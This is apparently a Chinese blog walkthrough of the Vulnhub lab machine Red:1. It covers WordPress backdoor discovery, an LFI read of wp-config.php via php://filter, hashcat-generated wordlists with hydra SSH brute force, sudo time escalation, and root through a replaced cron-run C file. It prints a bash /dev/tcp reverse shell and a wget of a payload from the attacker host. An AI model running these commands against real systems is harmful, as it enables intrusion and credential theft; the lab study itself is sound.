【Vulnhub靶场实践】 Red:1

环境搭建

靶机:Red-1
攻击机: Kali
虚拟网卡设置到同一个网络下

注:使用Vmware出现靶机无法获取IP的情况,Virtualbox 桥接模式正常

靶机探测

先扫一下目标机器的IP,同一网段内可以用arp-scannmap也可以
在这里插入图片描述
获取到靶机IP后,直接上nmap扫一下端口情况
在这里插入图片描述

web服务信息收集

发现只开放了80和22两个端口,先尝试80端口的web服务访问
在这里插入图片描述
这里有个入侵者者留下的提示,意思是你的网站被入侵了,你永远不会找到后门

继续网站信息的收集,尝试找到网站的后门
在这里插入图片描述
点击Hello Blue的提示链接之后,跳转到一个域名上,把域名直接换成靶机IP后可以正常访问,看来是需要配置DNS将这个域名解析到目标靶机上
修改C:\Windows\System32\drivers\etc\hosts文件,配置域名解析
在这里插入图片描述 接一下来有两种思路,一种经验丰富的大佬直接就想到用工具扫一下后门,另一种就是扫一下网站目录挨个访问一下,再看一下网站源码看看有没有什么隐藏的线索
在这里插入图片描述
扫完发现是这个WordPress的网站(扫描工具是dirsearch,Github上直接下载)
在这里插入图片描述
然后在审查页面源码的时候发现Red was here, Blue is a loser!下面发现了提示线索(果然每一句话都不是白说~)
接着谷歌一下Mr. Mieessler(百度也行)
在这里插入图片描述
在这里插入图片描述
线索指向了一个Github地址,是一个爆破的字典,包含用户名、密码、网站目录、后门等各种类型的字典文件。其实kali上已经安装了,/usr/share/SecLists,可以直接使用。

网站后门扫描

因为WordPress是PHP网站,所以接下来使用SecLists的PHP后门字典对网站后门进行扫描
python3 dirsearch.py -u "http://redrocks.win" -w /usr/share/SecLists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
在这里插入图片描述
成功获得一个后门地址,但是返回的状态码是500,要么是服务自身问题导致的运行出错,要么就是前台传参问题导致服务运行出错,这里肯定是猜测传参问题
继续使用SecLists字典进行参数名爆破
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

注:wfuzz 工具用于对 web 服务进行参数 fuzz 测试,可以对 http 请求中的各项参数进行爆破

在这里插入图片描述
这边可能是字典变大了,扫一会就把靶机扫挂了。。,调低线程都很容易挂,所以还是直接抄一下答案:参数名为key
根据大佬的文章,这是个本地文件包含的后门,至于怎么猜到的,我想这大概就是经验吧~。

通过文件读取进一步信息收集

利用这个后门可以进行任意文件读取,这里能想到的文件有:本身这个后门文件、wp网站的配置文件、/etc/passwd,先都读一遍
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php

后门文件:
在这里插入图片描述
配置文件:
在这里插入图片描述passwd文件:在这里插入图片描述
在线base64解码
在这里插入图片描述
继续对注释里的字符串进行解码
在这里插入图片描述

所有文件解码之后,汇总有效信息如下:

passwd文件:除了root用户之外有三个用户可以登录shell, 分别是john、ippsec、oxdf
后门文件:That password alone won't help you! Hashcat says rules are rules, 翻译过来就是单独的密码并不能帮助你,hashcat说规则就是规则
配置文件:数据库用户john, 密码R3v_m4lwh3r3_k1nG!!

注:hashcats是一个密码 hash 破解工具,同时也能够对给定的字符串根据不同规则生成大量密码

尝试通过ssh登录靶机

先使用数据库的用户名密码进行尝试登录 ssh ,结果自然是失败了。所以综合以上信息,推测john 用户的密码需要用hashcat对字符串R3v_m4lwh3r3_k1nG!!施加规则进行生成,至于为啥是best64规则就是未解之谜了,希望知道的大佬告知一下(不过你都看教程了,估计也不知道~)

# 需要把密码放到文件中作为hashcat的输入,--stdout是让hashcat不进行破解仅生成候选密码,best64是规则
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

在这里插入图片描述
大概几十个密码,暂时也不知道是哪个,直接上hydra进行爆破一波
hydra -l john -P passlist.txt redrocks.win ssh

在这里插入图片描述
尝试登录一下,成功以 john 身份登录
在这里插入图片描述
登录之后收集一下信息,查看目录下的文件,发现 cat 和 vim 命令调换了,另外会一直弹出入侵者留下的提示,提到了会摧毁当前 shell,以及 ippsec 用户
在这里插入图片描述

但是没一会就会自动登出,重新爆破发现密码变了,猜测是会定期修改密码将john用户踢出
在这里插入图片描述

提权加反弹shell

所以在第二次登录进去要反弹 shell 来供稳定使用,但是当前用户执行的程序在被踢出时会被中断,所以需要利用其他的用户身份进行反弹shell
sudo -l发现当前用户可以通过 sudo 以 ippsec 身份执行 time 命令
在这里插入图片描述

注:time提权原理参考 https://www.hackingarticles.in/linux-for-pentester-time-privilege-escalation/

time 提权到 ippsec 用户执行反弹 shell
sudo -u ippsec /usr/bin/time /bin/bash

# kali上监听1234端口
nc -lvvp 1234

# 反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.0.25/1234 0>&1 2>&1' # 这种方式只是转发了交互的消息,并不是真正的shell, 很多命令无法使用的

# 在反弹shell中执行
python3 -c 'import pty;pty.spawn("/bin/bash")' #使用python生成一个完整的shell
export TERM=xterm #这里按下Ctrl+z返回一下,设置虚拟终端类型,有什么用暂不清楚
stty raw -echo;fg #输入reset, 这里是设置当前shell透传指令到反弹shell里,Ctrl+C不会中断nc而是直接透传到新的shell里

这样就不会被踢出来,因为是用 ippsec 用户执行 time 命令,后续的命令执行都在 time 里面执行的,踢出 john 用户并不会中断 ippsec 用户的进程(个人理解,对不对概不负责)

注:当john用户被踢出之后,反弹shell的输出不会自动回到行首,只有回车没有换行了,就像下图一样,出现这种情况的话,通过终端设置可以解决
在这里插入图片描述
解决办法:在你使用的 ssh 工具的设置中勾选下面这两个选项,作用大概是自动补充CRLF中缺的那个
在这里插入图片描述

提权root

接下来进行下一步的提权,向 root 权限进发
这里需要用到 pspy64s 这个工具查看系统都运行了哪些程序,尝试寻找入侵者留下的后门

cd /dev/shm #这个目录是直接放在内存中的,没有权限限制,一般可以直接使用
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod +x pspy64s
./pspy64s # 这里容易遇到卡死的情况, 建议直接重开一局

在这里插入图片描述
这里有backdoor.sh但是在 root 目录下无法读取,先看下网站目录下的supersecretfileuc.c文件
目录权限:ippsec用户可以在该目录下进行操作
在这里插入图片描述
文件权限:只能进行读操作
在这里插入图片描述
文件内容:
在这里插入图片描述

这是入侵者用来定时弹出消息的代码,执行权限是root,虽然这个文件没权限修改,但是可以删除,重新换一个反弹shell的文件,只要文件名一样,就可以利用已经存在的进程去执行。接下来去这个反弹shell代码生成网站上复制一个 C 的反弹 shell 代码,放到kali主机里开启http服务供靶机下载
在这里插入图片描述

注:shell 不能选sh,反弹会闪退,暂不清楚为什么

# kali 主机
python3 -m http.server 80

# 靶机
cd /var/www/wordpress/.git/
wget http://192.168.0.25/supersecretfileuc.c

在这里插入图片描述

在这里插入图片描述

注:这里可能出现提示磁盘空间不够,无法下载文件到当前目录的情况。具体原因暂不清楚,解决办法有两种:1. 删除当前虚拟机重新导入一份 2. 使用软链接的方式,把实际文件放在/dev/shm

最后在kali上监听9001端口,等待反弹shell 回连就行
nc -lvvp 9001
在这里插入图片描述

注:还有一种思路是利用 CVE-2021-4034 漏洞进行提权

问题和思考

1. 怎么快速发现当前用户可以操作的目录和文件?
2. C的反弹shell为什么用sh会闪退?
3. 密码破解时怎么知道是best64规则的?
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值